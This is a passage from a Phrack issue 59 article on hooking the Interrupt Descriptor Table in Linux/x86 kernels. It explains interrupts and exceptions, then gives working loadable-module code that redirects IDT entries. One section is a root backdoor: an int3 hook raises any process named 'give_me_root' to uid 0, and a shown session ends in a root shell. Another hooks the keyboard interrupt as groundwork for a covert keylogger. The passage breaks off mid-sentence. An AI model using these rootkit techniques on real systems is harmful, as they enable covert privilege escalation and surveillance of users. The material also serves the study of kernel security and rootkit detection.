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Current issue : #59 | Release date : 2002-07-28 | Editor : Phrack Staff
IntroductionPhrack Staff
LoopbackPhrack Staff
LinenoisePhrack Staff
Handling the Interrupt Descriptor Tablekad
Advances in kernel hacking IIpalmers
Defeating Forensic Analysis on Unixthe grugq
Advances in format string exploitationriq & gera
Runtime process infectionanonymous author
Bypassing PaX ASLR protectionTyler Durden
Execution path analysis: finding kernel rootkitsJ.K.Rutkowski
Cuts like a knife, SSHarpstealth
Building ptrace injecting shellcodesanonymous author
Linux/390 shellcode developmentjohnny cyberpunk
Writing linux kernel keyloggerrd
Cryptographic random number generatorsanonymous author
Playing with windows /dev/(k)memcrazylord
Phrack World NewsPhrack Staff
Phrack magazine extraction utilityPhrack Staff
Title : Handling the Interrupt Descriptor Table
Author : kad
                          ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12

|=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=|    
|=-----------------------------------------------------------------------=|
|=----------------=[ kad, <kadamyse@altern.org> ]=-----------------------=|


--[ Contents

  1 - Introduction

  2 - Presentation 
    2.1 - What is an interrupt?
    2.2 - Interrupts and exceptions
    2.3 - Interrupt vector
    2.4 - What is IDT?

  3 - Exceptions 
    3.1 - List of exceptions
    3.2 - Whats happening when an exception appears ? 
    3.3 - Hooking by mammon
    3.4 - Generic interrupt hooking
    3.5 - Hooking for profit : our first backdoor
    3.6 - Hooking for fun

  4 - The hardware interrupt
    4.1 - How does It work ?
    4.2 - Initialization and activation of a bottom half
    4.3 - Hooking of the keyboard interrupt

  5 - Exception programmed for the system call 
    5.1 - List of syscalls
    5.2 - How does a syscall work ?
    5.3 - Hooking for profit
        5.3.1 - Hooking of sys_setuid
        5.3.2 - Hooking of sys_write
    5.4 - Hooking for fun 

  6 - CheckIDT

  7 - References & Greetz

  8 - Appendix


--[ 1 - Introduction

    The Intel CPU can be run in two modes: real mode and protected mode.
The first mode does not protect any kernel registers from being altered
by userland programs. All modern Operating System make use of the
protected mode feature to restrict access to critical registers by
userland processes. The protected mode offers 4 different 'privilege
levels' (ranging from 0..3, aka ring0..ring3). Userland applications
are usually executed in ring3. The kernel on the other hand is executed 
in the most privileged mode, ring0. This grants the kernel full access
to all CPU registers, all parts of the hardware and the memory. With no
question is this the mode of choice to do start some hacking.

    The article will demonstrate techniques for modifying the Interrupt
Descriptor Table (IDT) on Linux/x86. Further on will the article explain
how the same technique can be used to redirect system calls to achieve
similar capability as with Loadable Kernel Modules (LKM).

    The presented examples in this article will only make use of LKM to
load the executable code into kernel space for simplicity reasons. Other
techniques which are not scope of this document can be used to either
load the executable code into the kernel space or to hide the kernel
module (Spacewalker's method for example).

    CheckIDT which is a useful tool for examining the IDT and to avoid
kernel panics every 5 minutes is provided at the end of that paper.


--[ 2 - Presentation

----[ 2.1 - What's an interrupt?

    "An interrupt is usually defined as an event that alters the
sequence of instructions executed by a processor. Such events correspond to
electrical signals generated by hardware circuits both inside and outside
of the CPU chip."
(from: "Understanding the Linux kernel," O'Reilly publishing.)


----[ 2.2 - Interrupts and exceptions

    The Intel reference manual refers to "synchronous interrupts" (those
which are produced by the CPU Control Unit (CU) after the execution of an
instruction has been finished) as "exceptions". Asynchronous interrupts
(those which are generated by other hardware devices at arbitrary time) are
referred to as just "interrupts". Interrupts are issued by external I/O
devices whereas exceptions are caused either by programming errors or by
anomalous conditions that must be handled by the kernel. The term
"Interrupt Signals" will be used during this article to refer to both,
exceptions and interrupts.

    Interrupts are split into two categories: Maskable interrupts which can
be ignored (or 'masked') for a short time period and non-maskable
interrupts which must be handled immediately. Unmaskable interrupts are
generated by critical events such as hardware failures; I won't deal
with them here. The well-known IRQs (Interrupt ReQuests) fall into the
category of maskable interrupts.

    Exceptions are split into two different categories: Processor
generated exceptions (Faults, Traps, Aborts) and programmed exceptions
which can be triggered by the assembler instructions int or int3. The
latter one are often referred to as software interrupts.


----[ 2.3 - Interrupt vector

Each interrupt or exception is identified by a number between 0 and 255.
Intel calls this number a vector. The numbers are classified like this:

- From 0 to 31   : exceptions and non-maskable interrupts
- From 32 to 47  : maskable interrupts
- From 48 to 255 : software interrupts

Linux uses only one software interrupt (0x80) which is used for the
syscall interface to invoke kernel functions.

Hardware IRQs (Interrupt ReQuest) from IRQ0..IRQ15 are assigned to
the interrupt vectors 32..47.


----[ 2.4 - What is IDT ? 

IDT = Interrupt Descriptor Table

The IDT is a linear table of 256 entries which associates an interrupt
handler with each interrupt vector.
Each entry of the IDT is a descriptor of 8 bytes which blows the entire
IDT up to a size of 256 * 8 = 2048 bytes.
The IDT can contain three different types of descriptors/entries:

- Task Gate Descriptor
        
        Linux does not use this descriptor

- Interrupt Gate Descriptor

63                      48|47           40|39              32  
+------------------------------------------------------------
|                         | |D|D| | | | | | | | |           
| HANDLER OFFSET (16-31)  |P|P|P|0|1|1|1|0|0|0|0| RESERVED  
|                         | |L|L| | | | | | | | |           
=============================================================
                          |                                 |
  SEGMENT SELECTOR        |   HANDLER OFFSET (0-15)         |
                          |                                 |
------------------------------------------------------------+
31                      16|15                               0

        - bits  0 to 15 : handler offset low
        - bits 16 to 31 : segment selector
        - bits 32 to 37 : reserved
        - bits 37 to 39 : 0
        - bits 40 to 47 : flags/type 
        - bits 48 to 63 : handler offset high

- Trap Gate Descriptor

        Same as the previous one, but the flag is different

The flag is composed as next :

        - 5 bits for the type
                interrupt gate       : 1 1 1 1 0
                trap  gate          : 0 1 1 1 0        
        - 2 bits for DPL
                DPL = descriptor privilege level
        - 1 bit reserved

    Offset low and offset high contain the address of the function handling
the interrupt. This address is jumped at when an interrupt occurs. The goal
of the article is to change one of these addresses and let our own 
interrupthandler beeing executed.

DPL=Descriptor Privilege Level

    The DPL is equal to 0 or 3. Zero is the most privileged level (kernel
mode).  The current execution level is saved in the CPL register (Current
Privilege Level). The UC (Unit Of Control) compares the value of the CPL
register against the DPL field of the interrupt in the IDT. The interrupt
handler is executed if the DPL field is greater (less privileged) or equal
to the value in the CPL register. Userland applications are executed in
ring3 (CPL==3). Certain interrupt handlers can thus not be invoked by
userland applications.

    The IDT is initialized one first time by the BIOS routine but Linux
does it one more time when it take control. The asm lidt function
initialize the idtr registry which will contain the size and idt's address.
Then the setup_idt function fill the 256 entry of the idt with the same
interrupt gate, ignore_int. Then the good gate will be inserted into the
idt by the next functions:

linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
        insert an interrupt gate at the n place at the address
        pointed to by the idt register. The interrupt handler's address
        is stored in 'addr'.
        
linux/arch/i386/kernel/irq.c
All maskable interrupts and software interrupts are initialized with:
	set_intr_gate :
        
#define FIRST_EXTERNAL_VECTOR  0x20

                for (i = 0; i < NR_IRQS; i++) {
                int vector = FIRST_EXTERNAL_VECTOR + i;
                if (vector != SYSCALL_VECTOR) 
                        set_intr_gate(vector, interrupt[i]);    

        
linux/arch/i386/kernel/traps.c::set_system_gate(n, addr)
        insert a trap gate.
	The DPL field is set to 3.

These interrupts can be invoked from the userland (ring3).

                set_system_gate(3,&int3)
                set_system_gate(4,&overflow)
                set_system_gate(5,&bounds)
                set_system_gate(0x80,&system_call);
        
linux/arch/i386/kernel/traps.c::set_trap_gate(n, addr)
        insert a trap gate with the DPL field set to 0.
        The Others exception are initialized with set_trap_gate : 
        
                set_trap_gate(0,&divide_error)
                set_trap_gate(1,&debug)
                set_trap_gate(2,&nmi)
                set_trap_gate(6,&invalid_op)
                set_trap_gate(7,&device_not_available)
                set_trap_gate(8,&double_fault)
                set_trap_gate(9,&coprocessor_segment_overrun)
                set_trap_gate(10,&invalid_TSS)
                set_trap_gate(11,&segment_not_present)
                set_trap_gate(12,&stack_segment)
                set_trap_gate(13,&general_protection)
                set_trap_gate(14,&page_fault)
                set_trap_gate(15,&spurious_interrupt_bug)
                set_trap_gate(16,&coprocessor_error)
                set_trap_gate(17,&alignement_check)
                set_trap_gate(18,&machine_check)
        

    IRQ interrupts are initialized by set_intr_gate(), Exception int3,
overflow, bound and the system_call software interrupt by set_system_gate().
All others exceptions are initialized by set_trap_gate().  


    Let's start over with some practice and examine the currently assigned
handler addresses for each interrupt. Use the tool CheckIDT [6] attached
to this article for this:

%./checkidt -A -s

Int *** Stub Address * Segment *** DPL * Type             Handler Name
--------------------------------------------------------------------------
0       0xc01092c8     KERNEL_CS   0     Trap gate        divide_error
1       0xc0109358     KERNEL_CS   0     Trap gate        debug
2       0xc0109364     KERNEL_CS   0     Trap gate        nmi
3       0xc0109370     KERNEL_CS   3     System gate      int3
4       0xc010937c     KERNEL_CS   3     System gate      overflow
5       0xc0109388     KERNEL_CS   3     System gate      bounds
6       0xc0109394     KERNEL_CS   0     Trap gate        invalid_op
...
18      0xc0109400     KERNEL_CS   0     Trap gate        machine_check
19      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
20      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
...
31      0xc01001e4     KERNEL_CS   0     Interrupt gate   ignore_int
32      0xc010a0d8     KERNEL_CS   0     Interrupt gate   IRQ0x00_interrupt
33      0xc010a0e0     KERNEL_CS   0     Interrupt gate   IRQ0x01_interrupt
...
47      0xc010a15c     KERNEL_CS   0     Interrupt gate   IRQ0x0f_interrupt
128     0xc01091b4     KERNEL_CS   3       System gate      system_call


The System.map contains the symbol names to the addresses shown above.

% grep c0109364 /boot/System.map 
00000000c0109364 T nmi
nmi=not maskable interrupt ->trap_gate

% grep c010937c /boot/System.map 
00000000c010937c T overflow
overflow -> system_gate

% grep c01001e4 /boot/System.map
00000000c01001e4 t ignore_int 

18 to 31 are reserved by Intel for further use

% grep c010a0e0 /boot/System.map
00000000c010a0e0 t IRQ0x01_interrupt 
device keyboard ->intr_gate 

% grep c01091b4 /boot/System.map 
00000000c01091b4 T system_call 
system call  -> system_gate

rem: there is a new option in checkIDT for resolving symbol


--[ 3 - Exceptions 

----[ 3.1 - List of  exceptions

--------------------------------------------------------------------------+
number  | Exception 			| Exception Handler               |
--------------------------------------------------------------------------+
0       | Divide Error			| divide_error()                  |
1       | Debug				| debug()                         |
2       | Nonmaskable Interrupt  	| nmi()                           |
3       | Break Point			| int3()		          |
4       | Overflow			| overflow()                      |
5       | Boundary verification		| bounds()                        |
6       | Invalid operation code	| invalid_op()                    |
7       | Device not available		| device_not_available()          |
8       | Double Fault                	| double_fault()                  |
9       | Coprocessor segment overrun	| coprocesseur_segment_overrun()  |
10      | TSS not valid			| invalid_tss()                   |
11      | Segment not  present		| segment_no_present()            |
12      | stack exception 		| stack_segment()                 |
13      | General Protection 		| general_protection()            |
14 	| Page Fault			| page_fault()                    |
15      | Reserved by Intel		| none                            |
16      | Calcul Error with float virgul| coprocessor_error()             |
17      | Alignement check		| alignement_check()              |
18      | Machine Check			| machine_check()                 |
--------------------------------------------------------------------------+

Exceptions are divided into two categories:
- processor detected exceptions (DPL field set to 0)
- software interrupts (aka programmed exceptions), (DPL field set to 3).

The latter one can be invoked from userland.


----[ 3.2 - Whats happening when an exception occurs ?

    On the occurrence of an exception the corresponding handler address 
from the current IDT is executed. This handler is not the real handler who
deals with the exception, it's just jumps till the true/good handler.

To be clearer : 

exception -----> intermediate Handler -----> Real Handler

entry.S defines all the intermediate Handler, also called Generic Handler
or stub. The first Handler is written in asm, the real Handler written in
C.

For not being confused, lets call the first handler : asm Handler
and the second one the C Handler.

let's have a look at entry.S :

entry.S :
---------

**************************************************
ENTRY(nmi)
        pushl $0
        pushl $ SYMBOL_NAME(do_nmi)
        jmp error_code

ENTRY(int3)
        pushl $0
        pushl $ SYMBOL_NAME(do_int3)
        jmp error_code

ENTRY(overflow)
        pushl $0
        pushl $ SYMBOL_NAME(do_overflow)
        jmp error_code

ENTRY(divide_error)

        pushl $0                # no error value/code
        pushl $ SYMBOL_NAME(do_divide_error)
        ALIGN
error_code:                             
        pushl %ds
        pushl %eax
        xorl %eax,%eax
        pushl %ebp
        pushl %edi
        pushl %esi
        pushl %edx
        decl %eax                       # eax = -1
        pushl %ecx
        pushl %ebx
        cld
        movl %es,%cx
        movl ORIG_EAX(%esp), %esi       # get the error value
        movl ES(%esp), %edi             # get the function address
        movl %eax, ORIG_EAX(%esp)
        movl %ecx, ES(%esp)
        movl %esp,%edx
        pushl %esi                      # push the error code
        pushl %edx                      # push the pt_regs pointer
        movl $(__KERNEL_DS),%edx
        movl %dx,%ds
        movl %dx,%es
        GET_CURRENT(%ebx)
        call *%edi
        addl $8,%esp
        jmp ret_from_exception
**********************************************

Let's examine the above:

    ALL handlers have the same structure (only system_call and
device_not_available are different): 

pushl $0 
pushl $ SYMBOL_NAME(do_####name)
jmp error_code

    Pushl $0 is only used for some exceptions. The UC is supposed to smear
the hardware error value of the exception onto the stack. Some exceptions
to not generate an error value and $0 (zero) is pushed instead. The last
line jumps to error_code (see linux/arch/i386/kernel/entry.S for details).

error code is an asm macro used by the exceptions.

so let's resume once again

exception ---> intermediate Handler ---> error_code macro ---> Real Handler

The Assembly fragment error_code performs the following steps:

1: Saves the registers that might be used by the high-level C function on
   the stack.

2: Set eax to -1.

3: Copy the hardware error value ($esp + 36) and the handler's address
   ($esp + 32) in esi and edi respectively.

        movl ORIG_EAX(%esp), %esi     
        movl ES(%esp), %edi             


4: Place eax, which is equal to -1, at the error code emplacement.
   Copy the content of es to the stack location at $esp + 32.
 
5: Save the the stack's top Address into edx,then smear error_code which we
   get back at point 3 and edx on the stack. 
   The stack's top address must be saved for later use.

6: Place the kernel data segment selector into the ds and es registry.

7: Set the current process descriptor's address in ebx.

8: Stores the parameters to be passed to the high-level C function on the
   stack (e.g. the hardware exception value and the address and the stack
   location of the saved registers from the user mode process).

9: Call the exception handler (address is in edi, see 3).

10: The two last instructions are for the back of the exception.

error_code will jump to the suitable exception Manager. The one that's 
gonna actually handle the exceptions (see traps.c for detailed 
information). 

So these ones are written in C.

Let's take an exception handler as a concrete example. For example, the
C handler for non maskable nmi interruption.

rem: taken from traps.c

**************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
        unsigned char reason = inb(0x61);
        extern atomic_t nmi_counter;
....
**************************************************************

asmlinkage is a macro used to keep params on the stack. As params are
passed from asm code to C code through the stack, it would be bad to get
unwanted params put on the top of the stack. Asmlinkage gonna resolve
that point. 

The function do_nmi gets a pointer of type pt_regs and error_code. 

pt_regs is defined into  /usr/include/asm/ptrace.h:

struct pt_regs {
        long ebx;
        long ecx;
        long edx;
        long esi;
        long edi;
        long ebp;
        long eax;
        int  xds;
        int  xes;
        long orig_eax;
        long eip;
        int  xcs;
        long eflags;
        long esp;
        int  xss;
};

    A part of the registry are push on the stack by error_code, the others 
are some registry pushed by the UC at the hardware level.

This handler will handle the exception and almost all time send a signal to
the process.


----[ 3.3 - Hooking an interrupt (by Mammon)

    Mammon wrote a txt on how to hook interrupt under linux. The technique
I'm going to explain is similar to that of Mammon but will allow us
to handle the interrupt in a more generic/comfortable way.

Let's take int3, the breakpoint interrupt. The handler/stub is defines as
following:

ENTRY(int3)
        pushl $0
        pushl $ SYMBOL_NAME(do_int3)
        jmp error_code

    The C handler's address is pushed on the stack right after the dummy
hardware error value (zero) has been saved. The assembly fragment
error_code is executed next. Our approach is to rewrite such an asm handler
and push our own handler's address on the stack instead of the original one
(do_int3).

Example:

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "pushl $0                       \n"
        "pushl ptr_handler(,1)          \n"
        "jmp *ptr_error_code             "
        ::
        );
        }

    Our new handler looks similar to the original one. The surrounding
statements are required to get it compiled with a C compiler.

- We put our asm code into a function to make linking easier.
- .globl my_stub, will allow us to reference the asm code if we declare
  in global : extern asmlinkage void my_stub();
- align 4,0x90, align the size of one word, on Intel processor the
  alignement is 4 (32 bits).
- push ptr_handler(,1) , conform to the gas syntax,we wont use it later.


For more information about asm inline, see [1].  

We push our Handler's address and we jump to error_code.

 ptr_handler contain our C Handler's address :

unsigned long ptr_handler=(unsigned long)&my_handler;

The C Handler: 

asmlinkage void my_handler(struct pt_regs * regs,long err_code)
        {
        void (*old_int_handler)(struct pt_regs *,long) = (void *)
old_handler;
        printk("<1>Wowowo hijacking of int 3 \n");
        (*old_int_handler)(regs,err_code);
        return;
        }

    We get back two argument, one pointer on the registry, and err_code.
We have seen before that error_code push this two argument. We save the
old handler's address,the one we was supposed to push (pushl
$SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the
interrupt and go back to the old handler.Its the same way as hooking a
syscall with "classical method".

What's old_handler ?

#define do_int3    0xc010977c
unsigned long old_handler=do_int3;

do_int3 address have been catch from System.map. 

rem : We can define a symbol's address on-the-fly.

To be clearer  : 

asm Handler
----------------
push 0
push our handler
jmp to error_code
                
error_code
----------
do some operation
pop our handler address
jmp to our C handler

our C Handler                                                                    
--------------------
save the old handler's address
print a message
return to the real C handler

Real C Handler
-------------------
really deal with the interrupt 


    Now we have to change the first Handler's address in the corresponding
descriptor in the IDT (offset_low and offset_high, see 2.4). The function
accepts three parameters: The number of the interrupt hook, the new
handler's address and a pointer to save the old handler's address.



void hook_stub(int n,void *new_stub,unsigned long *old_stub)
        {
         unsigned long new_addr=(unsigned long)new_stub;
         struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
         //save old stub

         if(old_stub)
                *old_stub=(unsigned long)get_stub_from_idt(3);
         //assign new stub
         idt[n].offset_high = (unsigned short) (new_addr >> 16);
         idt[n].offset_low  = (unsigned short) (new_addr & 0x0000FFFF);
         return;
        }

unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

void * get_stub_from_idt (int n)
        {
        struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));
        }

struct descriptor_idt:

struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

We have seen that a descriptor is 64 bits long.

unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char  : 8 bits  (reserved and flag)

(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet 

It's a descriptor for the IDT. The only interesting fields are offset_high
and offset_low. It's the two fields we will modify.   

Hook_stub performs the following steps:

1: We copy our handler's address into new_addr

2: We make the idt variable point on the first IDT descriptor.
   We got the IDT's address with the function get_addr_idt().
   This function execute the asm instruction sidt who get the idt address 
   and his size into a variable.
   We get the idt's address from this variable (idtr) and we send it back.
   This have been already explained by sd and devik in Phrack 58 article 7.    
3: We save the old handler's address with the function get_stub_from_idt.
   This function extract the fields offset_high and offset_low from the
   gived descriptor and send back the address.
  
        struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
        return ((void *) ((idte->offset_high << 16 ) + idte->offset_low));

n = the number of the interrupt to hook. idte will then contain the
given interrupt descriptor.

We send the handler's address back,for it we send a type
(void*) (32 bits).

offset_high and offset_low do both 16 bits, we slide the bit for offset 
high to the left,and we add offset_low. The whole part give the handler's
address. 

4 : new_addr contain our handler's address,always  32 bits.
We extract the 16 MSB and put them into offset_high and the  16
LSB into  offset_low. 

The fields offset_high and offset_low of the interrupt's descriptor to
handle have been changed. 

The whole code is available in annexe CODE 1

Why is this technique not perfect?
Its not that its bad, but it isn't appropriate for the others
interrupt.Here we admit that all handler are like that :

pushl $0 
pushl $ SYMBOL_NAME(do_####name)
jmp error_code


    It's True.If you give a look in entry.S, they are almost all look like
this. But not all. Imagine you wanna hook the syscall's handler, The
device_not_aivable Handler (even if its not really interesting)or even the
hardware interrupt....How Will we do it ?

----[ 3.4 - Generic interrupt hooking

We are going to use another technique to hook a handler. Remember, in the 
handler written in C, we went back to the true C handler thanks to a 
return. 

Now, we are going to go back in the asm code.

Simple example of handler :

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       call *%0                \n"
        "       jmp  *%1                  \n"
        ::"m"(hostile_code),"m"(old_stub)
        );
        }

Here, we make a call to our fake C handler, the handler is executed and 
goes back to the asm handler which jumps to the true asm handler !

Our C handler :

asmlinkage void my_function()
        {
        printk("<1>Interrupt %i hijack \n",interrupt);
        }


What happens ?

We are going to change the address in the idt by the address of our asm 
handler. This one will jump to our C handler and will go back to our asm 
handler which, at the end, will jump to the true asm handler the address 
of which we have saved.

::"m"(hostile_code),"m"(old_stub)


For those who had not felt up to read the doc on asm inline, here is the 
syntax :

asm (
    assembler instruction
    : output operands
    : input operands
    : list of modified registers
);


You can put asm or __asm__. __asm__ is used to avoid confusion with other 
vars. You can also put asm volatile, in this case the asm code won't 
be changed (optimized) during the compilation.

"m"(hostile_code) and "m"(old_stub) are input operands. The first one is 
equal to %0, the second one to %1, ... So call %0 is equal to call 
hostile_code. "m" means memory address. hostile_code corresponds to the 
address of our C handler and old_stub to the address of the handler that 
was in the idt previously. If this seems impossible to understand, I advice
you to read the doc on asm inline [1]. 

The whole code is in annexe. All the next codes comes from this code. 
In each new example, I will only show the asm handler et the C handler. 
The rest will be the same. 


First concrete example :

bash-2.05# cat test.c
#include <stdio.h>

int main ()
{
  int a=8,b=0;
  printf("A/B = %i\n",a/b);
  return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#

Good ! We see the "Interrupt hijack".

In this code, we use MODULE_PARM which will allow to give parameters during
the module insertion. For further information about this syntax, read 
"linux device drivers" from o'reilly [2] (chapter 2). This will allow us 
to hook a chosen interrupt with the same module.


----[ 3.5 - Hooking for profit : our first backdoor

This first very simple backdoor will allow us to obtain a root shell. 
The C handler is going to give the root rights to the process that has 
generated the interrupt.

Asm handler
------------

void stub_kad(void)
        {
__asm__ (
        ".globl my_stub                 \n"
        ".align 4,0x90                  \n"
        "my_stub:                       \n"
        "       pushl %%ebx             \n"
        "       movl %%esp,%%ebx        \n"
        "       andl $-8192,%%ebx       \n"
        "       pushl %%ebx             \n"
        "       call *%0                \n"
        "       addl $4,%%esp           \n"
        "       popl %%ebx              \n"
        "       jmp  *%1                \n"
        ::"m"(hostile_code),"m"(old_stub)
        );
        }

We give to the C handler the address of the current process descriptor. 
We get it back like in error_code, thanks to the macro GET_CURRENT : 

#define GET_CURRENT(reg) \
    movl %esp, reg; \
    andl $-8192, reg;

defined in entry.S.

rem : We can also use current instead.

We put the result on the stack and we call our function. The rest of the 
asm code puts the stack back in its previous state and jumps to the
true handler.


C handler :
-------------
...
unsigned long hostile_code=(unsigned long)&my_function;
...

asmlinkage void my_function(unsigned long addr_task)
        {
        struct task_struct *p = &((struct task_struct *) addr_task)[0];
    	if(strcmp(p->comm,"give_me_root")==0 )
                {
                p->uid=0;
                p->gid=0;
                }
        }

We declare a pointer on the current process descriptor. We compare the name
of the process with a name we have chosen. We must not attribute the root 
rights to all the process which would generate this interrupt. If it is 
the good process, then we can give it new rights.

"give_me_root" is a little program which launch a shell 
(system("/bin/sh")). We will only have to put a breakpoint before system
 to launch a shell with the root rights. 

In practice :
--------------

bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish
bash-2.05#

///// in another shell //////

sh-2.05$ cat give_me_root.c
#include <stdio.h>

int main (int argc, char ** argv)
    {
    system("/bin/sh");
    return 0;
    }

sh-2.05$ gcc -o give_me_root give_me_root.c
sh-2.05$ id
uid=1000(kad) gid=100(users) groups=100(users)
sh-2.05$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x80483f6
(gdb) r
Starting program: /tmp/give_me_root

Breakpoint 1, 0x080483f6 in main ()
(gdb) c
Continuing.
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#

We are root. The code is in annexe, CODE 2.


----[ 3.6 - Hooking for fun

A program that could be interesting is an exception tracer. We could for 
example hook all the exceptions to print the name of the process that has 
provoked the exception. We could know all the time who launch what. 
We could also print the values of the registers. 
There is a function show_regs that is in  arch/i386/kernel/process.c :

void show_regs(struct pt_regs * regs)
{
    long cr0 = 0L, cr2 = 0L, cr3 = 0L;

    printk("\n");
    printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip);
    if (regs->xcs & 3)
        printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
    printk(" EFLAGS: %08lx\n",regs->eflags);
    printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
        regs->eax,regs->ebx,regs->ecx,regs->edx);
    printk("ESI: %08lx EDI: %08lx EBP: %08lx",
        regs->esi, regs->edi, regs->ebp);
    printk(" DS: %04x ES: %04x\n",
        0xffff & regs->xds,0xffff & regs->xes);
    __asm__("movl %%cr0, %0": "=r" (cr0));
    __asm__("movl %%cr2, %0": "=r" (cr2));
    __asm__("movl %%cr3, %0": "=r" (cr3));
    printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
}

You can use this code to print the state of the registers at every 
exception.

    Something more dangerous would be to change the asm handler so that it
would not execute the true C handler. The process that has generated the
exception would not receive such signals as SIGSTOP or SIGSEGV. This would
be very useful in some situations.


--[ 4 - THE HARDWARE INTERRUPTS

----[ 4.1 - How does it works ?

    We can also hook interrupts generated by IRQs with the same method but 
they are less interesting to hook (unless you have a great idea ;). We are 
going to hook interrupt 33 which is keyboard's. The problem is that this 
interrupt happens a lot more. The handler will be executed a large number 
of times and will have to go very fast to not block the system. To avoid 
this, we are going to use bottom half. There are functions of low priority
which are used for interrupt handling in most cases . The kernel is waiting
for the adequate time to launch it, and other interruptions are not masked 
during its execution
 
The waiting bottom half will be executed only at the following:

- the kernel finishes to handle a syscall
- the kernel finishes to handle a exception 
- the kernel finishes to handle a interrupt
- the kernel uses the schedule() function in order to select a new
process 

But they will be executed before the processor goes back in user mode. 

So the bottom half are useful to ensure the quick handle of an
interruption.

Here are some examples of linux used bottom halves

----------------+-------------------------------+
Bottom half     |       Peripheral equipment    |
----------------+-------------------------------+
CONSOLE_BH      |       Virtual console         |
IMMEDIATE_BH    |       Immediate tasks file    |
KEYBOARD_BH     |       Keyboard                |
NET_BH          |       Network interface       |
SCSI_BH         |       SCSI interface          |
TIMER_BH        |       Clock                   |
TQUEUE_BH       |       Periodic tasks queue    |
...             |                               |
----------------+-------------------------------+


    My goal writing this paper is not to study the bottom halves, as it's a
too wide topic. Anyway, for more informations about that topic, you can
have a look at

http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]

IRQ list
--------

BEWARE ! : the number of the interrupts are not always the same for the 
IRQs!

----+---------------+----------------------------------------
IRQ | Interrupt     | Peripheral equipment
----+---------------+----------------------------------------
0   | 32            | Timer
1   | 33            | Keyboard
2   | 34            | PIC cascade
3   | 35            | Second serial port
4   | 36            | First serial port
6   | 37            | Floppy drive
8   | 40            | System clock
11  | 43            | Network interface
12  | 44            | PS/2 mouse
13  | 45            | Mathematic coprocessor
14  | 46            | First EIDE disk controller
15  | 47            | Second EIDE disk controller
----+---------------+----------------------------------------


----[ 4.2 - Initialization and activation of a bottom half

    The low parts must be initialized with the function init_bh(n,routine)
that insert the address routine in the n-th entry of bh_base (bh_base is an
array where low parts are kept). When it is initialized, it can be
activated and executed. The function mark_bh(n) is used by the interrupt
handler to activate the n-th low part.

The tasklets are the functions themselves. There are put together in list 
of elements of type tq_struct :

struct tq_struct {
    struct tq_struct *next;     /* linked list of active bh's */
    unsigned long sync;     /* must be initialized to zero */
    void (*routine)(void *);    /* function to call */
    void *data;         /* argument to function */
};

    The macro DELACRE_TASK_QUEUE(name,fonction,data) allow to declare a
tasklet that will then be inserted in the task queue thanks to the function
queue_task. There is several task queues, the most interesting here is
tq_immediate that is executed by the bottom half IMMEDIATE_BH (immediate
task queue).

(include/linux/tqueue.h)


----[ 4.3 - Hooking of the keyboard interrupt

    When we hit a key, the interrupt happens twice. Once when we push the
key and once when we release the key. The code below will display a message
every 10 interrupts. If we hit 5 keys, the message appears.

I don't show the asm handler which is the same as in 3.4

Code
----
...
struct Variable
    {
    int entier;
    char chaine[10];
    };
...
static void evil_fonction(void * status)
        {
    struct Variable *var = (struct Variable * )status;
    nb++;
        if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
	nb,var->entier,var->chaine);
        }
...
asmlinkage void my_function()
        {
        static struct Variable variable;
        static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
	variable.entier=3;
    	strcpy(variable.chaine,"haha hijacked key :) ");
        queue_task(&my_task,&tq_immediate);
        mark_bh(IMMEDIATE_BH);
        }


    We declare a tasklet my_task. We initialize it with our function and
the argument. As the tasklet allow us to take only one argument, we give
the address of a structure. This will allow to use several arguments. We
add the tasklet to the list tq_immediate thanks to queue_task. Finally, we 
activate the low part IMMEDIATE_BH thanks to mark_bh:

mark_bh(IMMEDIATE_BH) 

    We have to activate IMMEDIATE_BH, which handles the tasks queue
'tq_immediate' (the one where we added our own tasklet) evil_function is to
be executed just after one of the requested event (listed in part 4.1)

    evil_function is just going to display a message each time that the 
interrupt happened 10 times. We effectively hooked the keyboard interrupt.
We could use this method to code a keylogger. This one would be the most
quiet because it would act at interrupts level. The issue, that I didn't
solve, is to know which key has been hit. To do this, we can use the
function inb() that can read on a I/O port. There are 65536 I/O ports 
(8 bits ports). 2 8 bits ports make a 16 bits ports and 2 16 bits ports 
make a 32 bits ports. The functions that allow us to access ports are: 

